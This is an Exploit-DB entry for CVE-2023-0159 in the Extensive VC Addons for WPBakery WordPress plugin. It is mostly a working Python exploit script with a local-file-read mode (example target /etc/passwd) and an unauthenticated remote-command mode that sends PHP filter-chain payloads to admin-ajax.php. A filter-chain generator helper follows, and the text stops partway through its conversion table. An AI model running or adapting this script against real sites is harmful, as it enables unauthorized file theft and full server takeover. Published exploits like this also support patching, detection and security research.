Exploit-DB #52085
Description: Extensive VC Addons for WPBakery page builder 1.9.0 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2025-03-19
Author: Ravina

Exploit:
# Exploit Title: Extensive VC Addons for WPBakery page builder < 1.9.1 - Unauthenticated RCE
# Date: 12 march 2025
# Exploit Author: Ravina
# Vendor Homepage: wprealize
# Version: 1.9.1
# Tested on: windows, linux
# CVE ID : CVE-2023-0159
# Vulnerability Type: Remote Code Execution

------------------------------------------------
# CVE-2023-0159_scan.py 

#!/usr/bin/env python3
# LFI: ./exploit.py --mode lfi --target https://vuln-site.com --file /etc/passwd
# RCE: ./exploit.py --mode rce --target https://vuln-site.com --command "id" --generator /path/to/php_filter_chain_generator.py

import argparse
import requests
import base64
import subprocess
import time
import php_filter_chain_generator

def run_lfi(target, file_path):
    url = f"{target}/wp-admin/admin-ajax.php"
    payload = {
        'action': 'extensive_vc_init_shortcode_pagination',
        'options[template]': f'php://filter/convert.base64-encode/resource={file_path}'
    }
    
    try:
        response = requests.post(url, data=payload)
        if response.status_code == 200 and '{"status":"success","message":"Items are loaded","data":' in response.text:
            try:
                json_data = response.json()
                base64_content = json_data['data']['items']
                decoded = base64.b64decode(base64_content).decode()
                print(f"\n[+] Successfully read {file_path}:\n")
                print(decoded)
            except Exception as e:
                print(f"[-] Decoding failed: {str(e)}")
                print(f"Raw response (truncated): {response.text[:500]}...")
        else:
            print(f"[-] LFI failed (Status: {response.status_code})")
    except Exception as e:
        print(f"[-] Request failed: {str(e)}")

def run_rce(target, command, generator_path):
    # Base64 encode command to handle special characters
    encoded_cmd = base64.b64encode(command.encode()).decode()
    php_code = f'<?php system(base64_decode("{encoded_cmd}")); ?>'
    
    # Generate filter chain
    try:
        result = subprocess.run(
            [generator_path, '--chain', php_code],
            capture_output=True,
            text=True,
            check=True
        )
        payload = None
        for line in result.stdout.split('\n'):
            if line.startswith('php://filter'):
                payload = line.strip()
                break
        
        if not payload:
            print("[-] Failed to generate payload")
            return

        url = f"{target}/wp-admin/admin-ajax.php"
        data = {'action': 'extensive_vc_init_shortcode_pagination', 'options[template]': payload}
        
        print(f"[*] Sending payload for command: {command}")
        start_time = time.time()
        # Send the request to attempt RCE and dont forget to pass the generator path
        response = requests.post(url, data=data)
        elapsed = time.time() - start_time
        
        print(f"\n[+] Response time: {elapsed:.2f} seconds")
        print(f"[+] Status code: {response.status_code}")
        
        if response.status_code == 200:
            print("\n[+] Response content:")
            print(response.text[:1000] + ("..." if len(response.text) > 1000 else ""))
            
    except subprocess.CalledProcessError as e:
        print(f"[-] Filter chain generator failed: {e.stderr}")
    except FileNotFoundError:
        print(f"[-] Generator not found at {generator_path}")
    except Exception as e:
        print(f"[-] RCE failed: {str(e)}")

def main():
    parser = argparse.ArgumentParser(description="CVE-2023-0159 Exploit Script")
    parser.add_argument("--mode", choices=["lfi", "rce"], required=True, help="Exploit mode")
    parser.add_argument("--target", required=True, help="Target URL (e.g., https://example.com)")
    parser.add_argument("--file", help="File path for LFI mode")
    parser.add_argument("--command", help="Command to execute for RCE mode")
    parser.add_argument("--generator", default="php_filter_chain_generator.py", 
                      help="Path to php_filter_chain_generator.py")
    
    args = parser.parse_args()
    
    if args.mode == "lfi":
        if not args.file:
            print("[-] Missing --file argument for LFI mode")
            return
        run_lfi(args.target.rstrip('/'), args.file)
    elif args.mode == "rce":
        if not args.command:
            print("[-] Missing --command argument for RCE mode")
            return
        run_rce(args.target.rstrip('/'), args.command, args.generator)

if __name__ == "__main__":
    main()

------------------------------------------

# php_filter_chain_generator.py

#!/usr/bin/env python3
import argparse
import base64
import re


# No need to guess a valid filename anymore
file_to_use = "php://temp"

conversions = {
    '0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
    '1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
    '2': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
    '3': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
    '4': 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE',
    '5': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2',
    '6': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
    '7': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4',
    '8': 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.CSIBM1161.U